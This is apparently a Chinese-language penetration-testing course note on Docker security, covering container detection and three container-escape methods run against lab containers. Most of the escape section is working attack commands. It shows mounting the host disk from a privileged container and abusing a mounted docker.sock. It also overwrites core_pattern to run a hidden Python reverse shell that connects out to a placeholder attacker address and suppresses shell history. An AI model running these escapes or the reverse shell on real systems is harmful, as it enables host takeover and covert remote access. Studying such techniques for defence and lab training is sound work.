云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
1、Docker是干嘛的?
是一种开源的 容器化平台,用于快速开发、测试和部署应用程序。它的核心功能是通过“容器”(Container)技术,将应用程序及其依赖环境(如库、配置文件等)打包成一个轻量级、可移植的单元
(1)容器逃逸(Container Escape)
风险:攻击者利用漏洞(如 Dirty Cow、CVE-2019-5736)或配置错误,从容器突破到宿主机。
渗透测试关注点:
测试容器运行时(如 runc、containerd)的漏洞。
检查是否以 --privileged 特权模式运行容器。
(2)镜像供应链攻击
风险:从不可信仓库(如 Docker Hub)下载的镜像可能植入后门。
测试建议:
扫描镜像漏洞(工具:Trivy、Clair)。
检查 Dockerfile 是否包含恶意指令(如偷偷下载木马)。
(3)网络配置不当
风险:容器网络模式(如 --net=host)可能暴露宿主机服务。
测试点:
检查容器是否误开敏感端口(如 Docker API 2375)。
测试容器间网络隔离是否生效。
(4)数据持久化攻击
风险:挂载宿主机目录(如 -v /:/mnt)可能导致宿主机文件被篡改。
渗透技巧:
在容器内查找挂载的宿主机目录,尝试写入 SSH 密钥或 cron 任务。
4、前渗透-判断在Docker中
没有权限:端口扫描详细信息,根据应用对象表现
拿到权限:https://blog.csdn.net/qq_23936389/article/details/131486643
5、前渗透-镜像中的应用漏洞
6、前渗透-镜像中的默认配置
7、后渗透-三种安全容器逃逸
-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)
https://wiki.teamssix.com/CloudNative/
#容器逃逸-特权模式
启动靶场:docker run --rm --privileged=true -it alpine
检测环境:cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
判断特权:cat /proc/self/status | grep CapEff -------root 身分,顯示 CapEff: 0000003fffffffff
查看目录:fdisk -l
特权逃逸:mkdir /test && mount /dev/vda1 /test
判断结果:cd /test/ && ls
#容器逃逸-危险挂载
1、挂载Docker Socket逃逸
启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入环境:docker exec -it with_docker_sock /bin/bash
检测环境:ls -lah /var/run/docker.sock
挂载逃逸:
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
chroot /host
2、挂载宿主机procfs逃逸
https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs
启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
检测环境:find / -name core_pattern
查找路径:(workdir) cat /proc/mounts | grep docker
写入文件:
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
chmod +x /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host/sys/kernel/core_pattern
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
gcc x.c -o x
执行文件:
./x
nc -lvvp xxxx
模拟真实场景:
1、高权限-Web入口到Docker逃逸(Java) -----基本上进入都是ROOT权限
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
2、低权限-Web入口到Docker逃逸(PHP) -----&asp.net基本上进入都是WWW权限,需要提权
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa